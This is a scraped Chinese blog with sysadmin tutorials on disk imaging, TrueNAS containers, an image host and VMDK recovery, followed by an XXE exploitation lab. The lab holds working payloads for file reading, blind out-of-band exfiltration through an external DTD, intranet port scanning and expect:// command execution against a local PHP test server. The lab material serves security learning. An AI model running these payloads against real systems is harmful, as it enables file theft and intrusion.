of=[目标文件]
status=progress 显示进度条
bs=4M 意思是每一次传输 4M 的数据，任意都行
conv=fsync 确保所有数据都写到物理盘上，不留缓存

首先我们先用 fdisk 探测一下当前系统硬盘结构, /dev/sda 是系统盘，我们就备份这个盘，当然使用 lsblk 也是可以的
Pasted%20image%2020260305093725

Pasted%20image%2020260305093843
镜像备份，运行完之后当前目录就会有一整个系统盘的备份 sys.bak
Terminal window
```
1
dd if=/dev/sda of=sys.bak bs=10M status=progress conv=fsync
```
插入 u 盘，然后将系统镜像烧录到 u 盘里

如果识别不到 u 盘的话，把这里改为 3.1 即可
Pasted%20image%2020260305105530

Pasted%20image%2020260305094527
找到 u 盘
Pasted%20image%2020260305095910
将系统镜像烧录到 u 盘

Terminal window

1
sudo dd if=/home/user/backup_system.img of=/dev/sdb bs=4M status=progress conv=fsync

conv=fsync： 这个很重要！它强制要求数据物理性地写入 U 盘，而不是留在缓存里，如果没有这个参数的话，烧录完之后要执行 sync 命令

烧录完的系统大概是这样的，这里很明显 sdb1 大概率是 boot 引导分区，sdb2 不知道，sdb3 是老大，是我们的系统盘
Pasted%20image%2020260305105932
挂载系统盘，并查看里面的文件

1
mkdir -p /mnt/sdb/3
2
mount /dev/sdb3 /mnt/sdb/3

Pasted%20image%2020260305110914

Linux 备份镜像还原成系统#

环境：Windows 11 工具: qemu-img Linux 镜像：Ubuntu

任务：将上一章用 dd 备份的数据还原成 ISO 格式，然后使用虚拟机打开该镜像

下载 qemu，qumu 是一款开源的镜像转换工具，下载地址：QEMU for Windows – Installers (64 bit)
配置环境变量，qemu 默认路径为：C:\Program Files\qemu，输入以下命令查看系统变量是否配置成功

Terminal window

1
C:\Users\user>qemu-img --help
2
qemu-img version 10.2.0 (v10.2.0-12105-g0f12d445bd)
3
Copyright (c) 2003-2025 Fabrice Bellard and the QEMU Project developers
4
QEMU disk image utility.  Usage:
5
...

然后准备好一个 u 盘，这个 u 盘刚刚从 Ubuntu 中 dd 中做完镜像备份，u 盘插入的时候我们是看不见盘符的，但是我们可以在磁盘管理中看到它的存在
Pasted%20image%2020260305171411
*查看一下 u 盘情况，首先以管理员身份打开 powershell，并查看我们的盘的序号是多少，这里能看到是 1

Terminal window

1
PS C:\WINDOWS\system32> Get-physicaldisk
2

3
Number FriendlyName             SerialNumber         MediaType CanPool OperationalStatus HealthStatus Usage        Size
4
------ ------------             ------------         --------- ------- ----------------- ------------ -----        ----
5
0      KINGSTON OM8PDP3512B-A01 0026_B768_5547_1185. SSD       False   OK                Healthy      Auto-Select ...GB
6
1      WD Elements 2620         WX42A40CY0NR         HDD       True    OK                Healthy      Auto-Select ...GB

查看 u 盘是否设置了只读，如果设置了只读的话，得改一下，主要看 Read-only 是否为 No

Terminal window

1
command:
2
diskpart
3
select disk 1
4
attribute disk
5
attributes disk clear readonly(如果 Read-only 为 Yes)
6

7
output:
8
Current Read-only State : No
9
Read-only  : No
10
Boot Disk  : No
11
Pagefile Disk  : No
12
Hibernation File Disk  : No
13
Crashdump Disk  : No
14
Clustered Disk  : No

用 qemu-img 将 u 盘数据转换为 vmdk，转换的过程会很慢，要等很久~

Terminal window

1
#-p 显示进度条
2
#-O 转换后的格式
3
# \\.\PhysicalDrive1 u 盘在 Windows 里的逻辑名称
4
qemu-img convert -p -f raw -O vmdk \\.\PhysicalDrive1 ubuntu.vmdk

VMware 创建一个空的操作系统，系统选择和镜像里一样的，我的是 Ubuntu x64
1d7d4af8-9b6f-41fc-acd1-802691e11063

cc4f483b-c3f2-4d8e-a9fd-0a5ff103aa5b
把自带的磁盘删了，选择我们刚刚转换好的磁盘
19992c1e-8521-4ed3-ad85-55795a4e52c3

fea174b9-0237-4210-ab6c-6d11d03e0cd7
开机，还原成功 ![./asset/3.5 镜像备份和还原/[70615e60-2549-4f0c-a4df-825eb6d12adc.png]]

Linux 备份镜像还原成系统(第二种方法)#

我们如果要对系统进行镜像的话，系统的内存大概率是不够的，所以我们先给虚拟机加个硬盘
fe404f37-726c-4811-a4a0-055fae3eb22e
启动虚拟机，然后格式化硬盘，并

Terminal window

1
# 查看大小为 40G 且没有挂在的设备，我这里是 /dev/sdb
2
lsblk -p
3
# 将硬盘格式化为 ext4 的格式
4
mkfs.ext4 /dev/sdb
5
# 创建文件夹并挂载
6
mkdir /mnt/new_disk
7
mount /dev/sdb /mnt/new_disk

用 dd 备份系统镜像
845be922-67f2-49f4-864b-cff24623b98e
剩下的步骤和第一种方法一样，用 qemu-img 将 dd 文件转换为 vmdk->新建虚拟机->删除原有硬盘，加硬盘，选择已存在硬盘->选择转换后的 vmdk 文件->开机
成功启动
24be3d1a-01f8-4cc4-910d-a1ad76e37f41

Windows 镜像备份和还原#

环境：Windows 10 工具：GitHub - threatexpert/disk2vmdk: windows 下做本地或远程的磁盘镜像的工具，可输出 vmdk · GitHub 任务：对 Windows10 中的 E 盘进行镜像备份，格式为 vmdk，然后通过虚拟机导入还原 E 盘并提取其中的 test 文件内容

打开工具，双击要备份的盘，选择要备份的分区，这里全勾上都没问题，然后选择镜像保存位置，点确定就行
Pasted%20image%2020260305111826
等待片刻，就会多出以下文件，1.vmdk.json 应该是元数据，不用管，重点是 1.vmdk，将 1.vmdk 从虚拟机中拷贝出来
Pasted%20image%2020260305111958
*修改一下文件属性，把只读给去掉，这一步很重要，不然后面会出现权限问题
Pasted%20image%2020260305112159
先关机，然后往虚拟机添加一块硬盘
Pasted%20image%2020260305112314
到这里记得选第二个选项——选择已存在的虚拟硬盘
Pasted%20image%2020260305112401
跳这个弹窗的话，点 Kepp Existing Format 就行
Pasted%20image%2020260305112445
开机，如果正常的话，在磁盘管理会多一块脱机硬盘，点击联机
Pasted%20image%2020260305113752
做完上述步骤后就可以在此电脑里看见自己的文件啦
Pasted%20image%2020260305113830

truenas安装taliscale和mihomo

Sat, 22 Aug 2026 00:00:00 GMT

taliscale#

由于我的 truenas 版本是 25.10.3，在 b 站看到别人的教程里直接就是在应用商店有 taliscale 安装包，但是我的应用里啥也没有

image

然后去查了一下为什么我的 truenas 应用商店里没有 taliscale，其实也不仅仅是没有 taliscale，b站那个视频里它的版本是 22 的，有六七百个应用，我的这个 25 版本的才只有 376 个应用，查了一下，原来如此，原来是架构给换了，很多东西就不支持了

之前听说过 truenas 就是不能更新，一更新就指定会出什么毛病，可能也是因为经常换架构啥的

image

所以我只能用 yaml 安装的方式装我的 taliscale 了——其实说白了也就是 docker compose 的方式安装，填完点击保存，等一会儿就装好了

image

1
services:
2
  tailscale:
3
    cap_add:
4
      - net_admin
5
    container_name: tailscale
6
    devices:
7
      - /dev/net/tun:/dev/net/tun
8
    environment:
9
      - >-
10
        TS_AUTHKEY=<ts-key>
11
      - TS_HOSTNAME=<hostname>
12
      - TS_ROUTES=192.168.1.0/24
13
      - TS_STATE_DIR=/var/lib/tailscale
14
      - TS_EXTRA_ARGS=--accept-routes=false
15
    image: tailscale/tailscale:stable
16
    network_mode: host
17
    privileged: True
18
    restart: unless-stopped
19
    volumes:
20
      - ./tailscale:/var/lib/tailscale

展开收起

mihomo#

mihomo 的安装就有点复杂，主要是有个叫 geoip 的文件得手动下载，并上传上去，和上面一样，依旧通过 yaml 安装

1
services:
2
  clash: # Clash 内核
3
    container_name: clash-meta
4
    image: metacubex/mihomo:v1.18.4  # 最新版用 metacubex/mihomo:Alpha
5
    restart: always
6
    pid: host
7
    ipc: host
8
    network_mode: host
9
    cap_add:
10
      - ALL
11
    security_opt:
12
      - apparmor=unconfined
13
    volumes:
14
      - ./mihomo:/root/.config/mihomo
15
      - /dev/net/tun:/dev/net/tun
16
      # 共享host的时间环境
17
      - /etc/timezone:/etc/timezone:ro
18
      - /etc/localtime:/etc/localtime:ro
19

20
  metacubexd: # Clash WebUI
21
    container_name: metacubexd
22
    image: ghcr.1ms.run/metacubex/metacubexd
23
    restart: always
24
    network_mode: bridge
25
    ports:
26
      - '127.0.0.1:28002:80'
27
    volumes:
28
      - ./metacubexd:/config/caddy
29
      # 共享host的时间环境
30
      - /etc/timezone:/etc/timezone:ro
31
      - /etc/localtime:/etc/localtime:ro

展开收起

docker 启动后，发现起不来，查看 clash 的日志显示

image

这时候就要手动下载：Country.mmdb，然后放到 clash 的挂载目录里

image

重新启动 docker 后就正常了

图床方案：Cloudflare + WebP Cloud + Picgo

Sat, 22 Aug 2026 00:00:00 GMT

前言#

这段时间一直冥思苦想，图床方案到底用哪个比较好，我心中的选择只有这几样

	优点	缺点
阿里云 oss	国内访问速度快，体验非常不错	公网访问太贵
七牛云	国内访问速度快，有 10G 免费空间额度	需要备案域名
cloudflare R2	10G 免费空间，还有免费流量额度	国内访问速度非常慢，得通过中转或其他方式提高速度

Cloudflare R2#

R2 是 Cloudflare 推出的免费对象存储服务，需要免费注册一个 Cloudflare 账号才能使用，注册登录后，点击左侧边栏的 R2 访问服务，但需要注意的是开通 R2 服务需要绑定信用卡（国内外主流信用卡皆可），但并不会扣费，主要是为了验证用户身份使用。

创建一个 R2 存储桶，因为后续需要对接 WebP Cloud，所以选的区域是美西
file-20260214130530709
启用公共开发 URL
file-20260214232348936
创建 R2 API
file-20260214131616086

file-20260214131627650

Picgo#

下载 s3 插件
file-20260214132340791
配置 amz s3,有几个要比较注意的点：

应用密钥 ID，填写 R2 API 中的 Access Key ID（访问密钥 ID）
应用密钥，填写 R2 API 中的 Secret Access Key（机密访问密钥）
桶名，填写 R2 中创建的 Bucket 名称，如我上文的 img
文件路径，上传到 R2 中的文件路径，我选择使用 {fileName}.{extName} 来保留原文件的文件名和扩展名。
自定义节点，填写 R2 API 中的「为 S3 客户端使用管辖权地特定的终结点」，即 xxx.r2.cloudflarestorage.com 格式的 S3 Endpoint
自定义输出 URL 模板，填写上文生成的 xxx.r2.dev/{fileName} 格式的域名或自定义域名，如我配置的 img.eval.moe/{fileName}
file-20260214132957479

WebP Cloud#

完成上述步骤之后，我们的图床搭建基本完成，但俗话说 cloudflare 之下，众生平等，所以在 cloudflare 的基础上，我打算再加上 WebP Cloud。 WebP Cloud 简单来说就是一个类 CDN 的图片代理服务，可以在几乎不改变画质的情况下，压缩图片体积，加快整站加载速度，除此之外，还提供了缓存，图片水印，自定义 header 等功能，普通用户的免费额度对于我这种小博客来说非常够用。登陆后是这样的

file-20260214130051520

创建代理，关于代理模式有什么区别，具体可以看这篇文章：WebP Cloud 加入模式选择——Rapid（极速模式）和 Consistency（一致模式），总的来说，如果你想把 WebP Cloud 当作一个 CDN 用，就用后者；如果是想当作图片转换工具使用，就用前者，这里我选择快速模式，它比较满足我的需求。
file-20260214162243299
2.最后就是用 picgo 上传测试了，我上传了一张 5.8m 的图片，通过 WebP Cloud 压缩后只有 288kb，这个压缩还是可以的
file-20260214193833231

file-20260214193909154

写在最后#

虽然这套组合性价比拉满，几乎不花什么钱，且一些都部署在云上，没什么很大的安全问题，但是至于稳定性还得有待观察，但是应该不是很怕的，图片都存储在 R2 上，就算 WebP Cloud 出了问题，也影响不了图片本身。

VMDK转VHDX取数据指南

Sat, 22 Aug 2026 00:00:00 GMT

什么时候需要看这篇教程？#

当你用 VMware Workstation 打开虚拟机，磁盘报错、无法启动，但磁盘文件（.vmdk）还在硬盘上，你需要把里面的数据取出来。

举个真实例子——我们这次遇到的 VM 同时出了两个问题：

磁盘描述文件里文件名乱码 → VMware 找不到文件，连系统盘都打不开
VM 启用了加密 → 想挂载第二块数据盘，VMware 直接拒绝，报 unencrypted and cannot be used

最终靠这篇教程的方法成功取出了所有数据。

这个方法的思路是什么？#

1
你的 VMDK                中间格式（VHDX）             结果
2
┌──────────┐    转换     ┌──────────┐   双击挂载    ┌──────────┐
3
│ 被 VMware │ ────────→  │ Windows   │ ───────────→ │ 盘符出现  │
4
│ 锁死的盘  │            │ 原生格式  │              │ 随便拷文件│
5
└──────────┘            └──────────┘              └──────────┘

简单说就是：把 VMware 的磁盘格式，转成 Windows 系统自己能打开的格式。整个过程不修改原始文件，数据安全。

准备工具#

工具一：qemu-img（磁盘格式转换工具）#

这是一个免费开源的小工具，能把各种虚拟磁盘格式互相转换。

下载地址：👉 https://qemu.weilnetz.de/w64/

进入后找最新的 qemu-w64-xxx.zip（xxx 是版本号，选数字最大的下载即可）。

下载后解压，找到里面的 qemu-img.exe，记住它的完整路径，例如：

1
C:\Users\你的用户名\Downloads\qemu\qemu-img.exe

💡 小技巧：把压缩包解压到 C:\Tools\qemu\ 这样固定的位置，以后还能用。

验证安装成功（在 PowerShell 里运行，路径换成你自己的）：

Terminal window

1
C:\Tools\qemu\qemu-img.exe --version

如果看到类似 qemu-img version X.X 的输出，就说明可以用了。

工具二：一个能运行命令的终端#

Windows 自带，右键开始菜单 → Windows PowerShell（管理员） 或 终端（管理员） 。

⚠️ 建议用管理员身份打开，后面挂载 VHDX 需要管理员权限。

动手操作（分四步）#

第一步：查看 VMDK 磁盘信息#

了解你的磁盘多大、实际数据量多少、是什么格式。

Terminal window

1
# 把下面两个路径换成你自己的
2
#   路径1：qemu-img.exe 的位置
3
#   路径2：你的 .vmdk 文件的位置
4

5
C:\Tools\qemu\qemu-img.exe info "C:\你的VM路径\你的磁盘.vmdk"

你会看到类似这样的信息：

1
virtual size: 1 TiB          ← 虚拟磁盘总大小
2
disk size: 31.5 GiB          ← 实际占用的空间（转换后的 VHDX 大概这么大）
3
create type: twoGbMaxExtentSparse   ← VMDK 格式

重点关注 disk size（实际数据量），确保你的硬盘有 1.5 倍以上的空闲空间。

第二步：转换成 VHDX#

Terminal window

1
C:\Tools\qemu\qemu-img.exe convert -f vmdk -O vhdx -o subformat=dynamic `
2
    "C:\你的VM路径\你的磁盘.vmdk" `
3
    "C:\你的VM路径\你的磁盘-数据.vhdx"

参数解释（不用记，用的时候看一眼就行）：

参数	含义
`convert`	转换模式
`-f vmdk`	源格式是 VMDK
`-O vhdx`	目标格式是 VHDX
`-o subformat=dynamic`	动态磁盘（实际占多少就多大，不浪费空间）
最后一个路径	输出文件位置，建议和原始 VMDK 放同一目录

⏱️ 等待时间：通常 5-15 分钟，取决于磁盘实际数据量。30GB 左右大约 3-5 分钟。

第三步：修复 VHDX 文件属性#

这一步非常关键！如果你直接跳到第四步挂载，大概率会报这个错误：

Make sure the file is in an NTFS volume and isn’t in a compressed folder or volume.

这是因为 qemu-img 生成的 VHDX 文件带有一个叫 SparseFile（稀疏文件） 的属性，Windows 不允许挂载带这个属性的 VHDX。

一行命令去掉它：

Terminal window

1
fsutil sparse setflag "C:\你的VM路径\你的磁盘-数据.vhdx" 0

没有任何报错信息就说明成功了。

第四步：挂载 VHDX，取数据#

三种方式任选一个：

方式 A（最简单）：文件管理器双击

打开文件管理器，找到 .vhdx 文件
右键 → 装载
左侧导航栏会出现一个新盘符

方式 B：磁盘管理（更稳定）

按 Win + X → 选择 磁盘管理
顶部菜单 操作 → 附加 VHD
浏览，选择你的 .vhdx 文件 → 确定
稍等几秒，资源管理器里就会出现新盘符

方式 C：命令行（适合记命令的人）

Terminal window

1
Mount-DiskImage -ImagePath "C:\你的VM路径\你的磁盘-数据.vhdx"

挂载成功后，VHDX 里的内容就和你插了一个 U 盘一样 —— 直接打开、复制、粘贴，把需要的数据拷出来就行。

用完后怎么处理？#

卸载 VHDX#

右键新出现的盘符 → 弹出，和弹出 U 盘一样的操作。

或者用命令：

Terminal window

1
Dismount-DiskImage -ImagePath "C:\你的VM路径\你的磁盘-数据.vhdx"

清理 VHDX 文件#

确认数据已经全部取出后，可以删掉 .vhdx 文件来释放空间（原始 VMDK 还在，不会丢）：

Terminal window

1
Remove-Item "C:\你的VM路径\你的磁盘-数据.vhdx"

⚠️ 注意：只删 .vhdx，不要动 .vmdk 和 .vmdk 旁边的一堆 -s001.vmdk、-s002.vmdk 文件，那些是原始数据。

常见报错解决#

报错 ①：挂载时提示 NTFS / compressed#

1
Make sure the file is in an NTFS volume and isn't in a compressed folder or volume.

解决：

Terminal window

1
# 先看文件有没有问题属性
2
(Get-Item "你的文件.vhdx").Attributes
3

4
# 如果输出包含 "SparseFile"，运行：
5
fsutil sparse setflag "你的文件.vhdx" 0
6

7
# 如果输出包含 "Compressed"，运行：
8
compact /u "你的文件.vhdx"

然后再试挂载。

报错 ②：qemu-img 找不到 extent 文件#

1
Could not open 'xxx-s001.vmdk': No such file or directory

原因：VMDK 的描述文件（那个很小的 .vmdk）和实际数据文件（一堆 -s001.vmdk）不在同一目录，或者描述文件里写的文件名和实际文件名不一致。

解决：

确保所有 -sxxx.vmdk 文件和描述文件在同一个文件夹
如果文件名确实不匹配，需要编辑描述文件（用记事本打开那个很小的 .vmdk，检查 RW XXXX SPARSE "文件名" 那一行引号里的名字和实际文件是否一致）

报错 ③：磁盘管理里 VHDX 显示为 RAW 或未初始化#

这可能是因为 VMDK 里的文件系统本身有问题，或者 VMDK 是 Linux 的格式（ext4/xfs）。

Linux 格式：安装 Linux Reader 来读取
文件系统损坏：尝试用 Windows 的 chkdsk 修复（不过成功率不高，此时 VMDK 的数据可能本身就有问题）

和我们这次遇到的问题对照#

我们的情况	怎么解决的
VMDK 描述文件里 GBK 编码的中文名变成乱码	先用 `perl -pe` 命令修复了描述文件里的文件名
VM 启用了加密，VMware GUI 拒绝挂载未加密盘	转成 VHDX 后完全绕过了 VMware，因为 Windows 不管 VM 的加密策略
qemu-img 生成的 VHDX 带 SparseFile 属性	`fsutil sparse setflag xx.vhdx 0` 去掉

核心经验：只要 VMDK 的数据文件还在，即使 VMware 完全不让你打开，也可以通过 qemu-img → VHDX → Windows 直接挂载这条路径把数据拿出来。

XXE 漏洞原理与利用

Sat, 22 Aug 2026 00:00:00 GMT

XXE(XML External Injection)全称为 XML 外部实体注入，这里要强调的是外部实体，外部实体注入是我们的利用点，为什么要强调这个呢？因为普通的 XML 注入比较鸡肋，现实中几乎用不到。如果在实战中能够注入外部实体并且能够成功解析的话，会大大拓宽我们的攻击面。

XML 背景#

XML是一种非常流行的标记语言，在1990年代后期首次标准化，并被无数的软件项目所采用。它用于配置文件，文档格式（如OOXML，ODF，PDF，RSS，…），图像格式（SVG，EXIF标题）和网络协议（WebDAV，CalDAV，XMLRPC，SOAP，XMPP，SAML， XACML，…），他应用的如此的普遍以至于他出现的任何问题都会带来灾难性的结果。

在解析外部实体的过程中，XML 解析器可以根据 URI 中指定的方案（协议）来查询各种网络协议和服务（DNS，FTP，HTTP，SMB等）。外部实体对于在文档中创建动态引用非常有用，这样对引用资源所做的任何更改都会在文档中自动更新。但是，在处理外部实体时，可以针对应用程序启动许多攻击。这些攻击包括泄露本地系统文件，这些文件可能包含密码和私人用户数据等敏感数据，或利用各种方案的网络访问功能来操纵内部应用程序。通过将这些攻击与其他实现缺陷相结合，这些攻击的范围可以扩展到客户端内存损坏，任意代码执行，甚至服务中断，具体取决于这些攻击的上下文。

基础知识#

XML 用于标记电子文件使其具有结构性的标记语言，可以用来标记数据、定义数据类型，是一种允许用户对自己的标记语言进行定义的源语言。

XML 文档结构包括XML声明、DTD文档类型定义（可选）、文档元素。

示例：

1
<!--XML声明-->
2
<?xml version="1.0"?>
3
<!--文档类型定义-->
4
<!DOCTYPE note [  <!--定义此文档是 note 类型的文档-->
5
<!ELEMENT note (to,from,heading,body)>  <!--定义note元素有四个元素-->
6
<!ELEMENT to (#PCDATA)>     <!--定义to元素为”#PCDATA”类型-->
7
<!ELEMENT from (#PCDATA)>   <!--定义from元素为”#PCDATA”类型-->
8
<!ELEMENT head (#PCDATA)>   <!--定义head元素为”#PCDATA”类型-->
9
<!ELEMENT body (#PCDATA)>   <!--定义body元素为”#PCDATA”类型-->
10
]]]>
11
<!--文档元素-->
12
<note>
13
<to>Dave</to>
14
<from>Tom</from>
15
<head>Reminder</head>
16
<body>You are a good man</body>
17
</note>

展开收起

内部声明 DTD

1
<!DOCTYPE 根元素 [元素声明]>

引用外部 DTD

1
<!DOCTYPE 根元素 SYSTEM "外部文件名" >
2
<!DOCTYPE 根元素 PUBLIC "DTD 名称" "DTD 文件的 URI">

一些重要的关键字如下:

DOCTYPE：DTD 的声明
ENTITY：实体的声明，实体你可以理解为变量
SYSTEM、PUBLIC：外部资源申请

不同语言的协议支持：

image

php 支持的扩展协议：

image

、

libxml 是 php 对 xml 的支持
在 java 中 netdoc 协议能代替 file 协议

基础知识之重点一#

XML 分为内部实体和外部实体，实体是什么？你可以理解为是一个变量，然后这个变量既可以从外部引入，也可以内部定义。

内部实体示例如下，这里定义元素为 ANY 说明接受任何元素，要想引用实体的话要在实体前面加 &，比如这里的 &xxe，输出的时候 &xxe 会被 “test” 替换：

1
<?xml version="1.0" encoding="utf-8"?>
2
<!DOCTYPE foo [
3
<!ELEMENT foo ANY >
4
<!ENTITY xxe "test" >]>

外部实体示例如下，当执行该 xml 时， &xxe 会被 win.ini 的文件内容替换掉，这样的话可以自动更新对所有引用资源所做的更改，非常之方便，但安全呢…一点都不安全：

1
<?xml version="1.0" encoding="utf-8" ?>
2
<!DOCTYPE foo [
3
<!ELEMENT foo ANY >
4
<!ENTITY xxe SYSTEM "file:///C:/Windows/win.ini" >]>
5
<user>&xxe</user>

除了上面两个之外，还有一种引用方式是使用引用公用 DTD，语法如下：

1
<!DOCTYPE 根元素名称 PUBLIC "DTD标识名" "公用DTD的URI">

基础知识之重点二#

在上面，我们将实体分为了两个派别，分别四内部实体和外部实体，但从另一个角度看，实体也可以分为另外两个派别——分别是通用实体和参数实体

通用实体如下，用 &实体名; 引用的实体，它在 DTD 中定义，在 XML 文档中引用

1
<?xml version="1.0" encoding="utf-8" ?>
2
<!DOCTYPE foo [<!ENTITY file SYSTEM "file:///C:/Windows/win.ini">]>
3
<foo>&file;</foo>

参数实体的话，有以下要求：

使用 % 实体名(这里的空格不能少)
在 DTD 中定义，且只能在 DTD 中使用 % 实体名 引用
只有在 DTD 中，参数实体才能引用其他的参数实体
和通用实体一样，参数实体也可以外部引用

1
<!ENTITY % aaa "<!ELEMENT mytag (subtag)>"> #mytag (subtag)中间的空格不能漏
2
<!ENTITY % bbb SYSTEM "http://example/remote.dtd">
3
%aaa;%bbb;

XXE 能干什么#

当允许引用外部实体时，通过构造恶意内容，可导致

读取任意文件
探测内网端口
攻击内网网站
执行系统命令

渗透环境搭建#

环境：phpstudy(Apache + php 5.4.45)

php 5.5 以下版本源码：

1
?php
2
$data = file_get_contents('php://input');
3
$xml = simplexml_load_string($data);
4

5
# 不需要回显时 注释print($xml);
6
print($xml);

php 大于或等于 5.5 源码：

1
?php
2
$data = file_get_contents('php://input');
3
$xml = simplexml_load_string($data, 'SimpleXMLElement', LIBXML_NOENT);
4

5
# 不需要回显时 注释print($xml);
6
print($xml);

实验一：有回显读取敏感文件(XXE)#

这里模拟的是在服务器能够接收并解析 XML 格式的输入并且有回显的时候，我们就可以输入我们的 XML 代码，通过引用外部实体的方法，引用服务器上的文件

payload：

1
<?xml version="1.0" encoding='utf-8'?>
2
<!DOCTYPE foo [
3
    <!ENTITY file SYSTEM "file:///C:/Windows/win.ini" >
4
]>
5
<foo>
6
    &file;
7
</foo>

image

但是是因为这个文件的内容没有什么特殊符号，如果文件内容换成这样呢？

1
UUID=775f5cd5-4973-4c04-9a49-3ba689385527 / ext4 errors=remount-ro 0 1
2
/swapfile none swap sw 0 0
3
sadasdasdasdadfdsf><<>>??{?

很明显，报错了

image

那么有没有解决办法呢？有的兄弟，有的，这时候我们可以拿出我们的终极杀器——CDATA

CDATA 是什么呢？在 XML 返回的结果中，有一些我们并不想让其被解析引擎解析执行，而是当作原始的字符串进行处理，你也可以把 CDATA 当作 XML 中的注释

我们改一下出问题的地方

1
<?xml version="1.0" encoding='utf-8'?>
2
<!DOCTYPE foo [
3
  <!ENTITY start "<![CDATA[">
4
    <!ENTITY file SYSTEM "file:///C:/Windows/win.ini" >  # 这里出的问题，在这里加上就行
5
  <!ENTITY end "]]>">
6
]>
7
<foo>
8
    &start;&file;&end; # 这里也要跟着改
9
</foo>

还会报错吗？会的

image

我们三个实体都是字符串形式，连在一起竟然报错了，这说明我们不能再 XML 中拼接，而是需要拼接以后再 XML 中调用，那么要想再 DTD 中拼接，我们有且只有一种选择——就是参数实体 + 外部实体。

1
<?xml version="1.0" encoding="utf-8"?>
2
<!DOCTYPE roottag [
3
  <!ENTITY % start "<![CDATA[">
4
  <!ENTITY % file SYSTEM "file:///C:/Windows/win.ini" >
5
  <!ENTITY % end "]]>">
6
  <!ENTITY % dtd SYSTEM "http://127.0.0.1/evil.dtd" >
7
  %dtd;
8
] >
9
<roottag>&all;</roottag>

evil.dtd：

1
<?xml version="1.0" encoding="UTF-8"?>
2
<!ENTITY all "%start;%file;%end;" >

成功读取

image

实验二：无回显读取本地敏感文件#

payload：

1
<!DOCTYPE convert [
2
<!ENTITY % file SYSTEM "php://filter/read=convert.base64-encode/resource=file:///C:/Windows/win.ini">
3
<!ENTITY % int "<!ENTITY &#37; send SYSTEM 'http://127.0.0.1:8000?p=%file;'>">
4
%file;%int;%send;
5
]>

如果直接请求体上，会报错，PHP 的 libxml 解析器在默认安全配置下，禁止在 DTD 内部子集中使用参数实体引用。这是安全机制，防止 XXE 攻击，所以我们要借助外部 DTD 文件进行注入。

image

evil.dtd：

1
<!ENTITY % file SYSTEM "php://filter/read=convert.base64-encode/resource=file:///C:/Windows/win.ini">
2
<!ENTITY % int "<!ENTITY &#37; send SYSTEM 'http://127.0.0.1:8080?p=%file;'>">

请求体：

1
<!DOCTYPE convert [  <!ENTITY % remote SYSTEM "http://127.0.0.1/evil.dtd"> %remote;%int;%send; ]>

点击发送后，成功返回 base64 加密后的字符串，解密后就是原文

image

实验四：内网扫描#

首先在我们同一个内网中的机子开个 http 服务

Terminal window

1
# 192.168.1.13
2
python -m http.server 8000

如果端口开放的话，响应时间很短

image

端口不开放的话，响应时间会很长，我们可以利用这一点写个脚本进行内网端口扫描

image

实验五：PHP expect RCE#

php 默认是不安转这个扩展的，如果安装了我们就可以直接利用 XXE 进行 RCE

1
<!DOCTYPE root[<!ENTITY cmd SYSTEM "expect://id">]>
2
<dir>
3
<file>&cmd;</file>
4
</dir>

总结#

XXE 这个洞很老了，但胜在支持这个的协议和框架非常多，除了文章中我写的这些，还有文件上传——仅限 java 环境、利用 smtp 的 ftp 协议配合 CRLF 注入进行邮件发送、DOS 攻击等等手法，一般来说很多基于 B-C 的 web 通信服务除了是用 json 就是用 xml，所以还是值得一学的

Nevolar's blog

Apache shenyu 2.5.1 任意文件读取

环境搭建#

信息收集#

默认 key 创建路由#

代码审计#

SPEL 表达式注入利用#

CVE-2026-41940 cPanel／WHM 认证绕过漏洞分析

漏洞概述#

背景#

第一部分：cPanel Session 机制#

登录流程中的 Session 创建#

Cookie 结构#

Session 文件结构#

第二部分：漏洞根因 — saveSession 的两个 Bug#

Bug 1：密码写盘时不过滤 CRLF#

Bug 2：set_pass 不过滤 \r\n#

漏洞的化学反应#

第三部分：完整攻击流程#

Step 1：Mint 预认证 Session#

Step 2：注入 CRLF — 发送无 的 Cookie#

Step 3：Session 文件被污染#

Step 4：服务器返回 307 重定向#

Step 5：访问版本信息验证是否成功绕过#

第四部分：Cache 机制与绕过#

第五部分：/etc/shadow 绕过#

第六部分：漏洞总结#

受影响版本与修复#

Edge 转储明文账密

简介#

复现步骤#

Step 1：模拟环境#

Step 2：创建内存转储文件#

Step 3：筛选字符串#

Step 4：查找关键词#

总结#

Ghost Bit SQL 注入绕 WAF

简介#

解题思路#

漏洞原理总结#

镜像备份与还原

简介#

Linux dd 命令镜像备份和挂载#

Linux 备份镜像还原成系统#

Linux 备份镜像还原成系统(第二种方法)#

Windows 镜像备份和还原#

truenas安装taliscale和mihomo

taliscale#

mihomo#

图床方案：Cloudflare + WebP Cloud + Picgo

前言#

Cloudflare R2#

Picgo#

WebP Cloud#

写在最后#

VMDK转VHDX取数据指南

什么时候需要看这篇教程？#

这个方法的思路是什么？#

准备工具#

工具一：qemu-img（磁盘格式转换工具）#

工具二：一个能运行命令的终端#

动手操作（分四步）#

第一步：查看 VMDK 磁盘信息#

第二步：转换成 VHDX#

第三步：修复 VHDX 文件属性#

第四步：挂载 VHDX，取数据#

用完后怎么处理？#

卸载 VHDX#

清理 VHDX 文件#

常见报错解决#

报错 ①：挂载时提示 NTFS / compressed#

报错 ②：qemu-img 找不到 extent 文件#

报错 ③：磁盘管理里 VHDX 显示为 RAW 或未初始化#

和我们这次遇到的问题对照#

XXE 漏洞原理与利用

XML 背景#

基础知识#

基础知识之重点一#

基础知识之重点二#

XXE 能干什么#

Step 2：注入 CRLF — 发送无的 Cookie#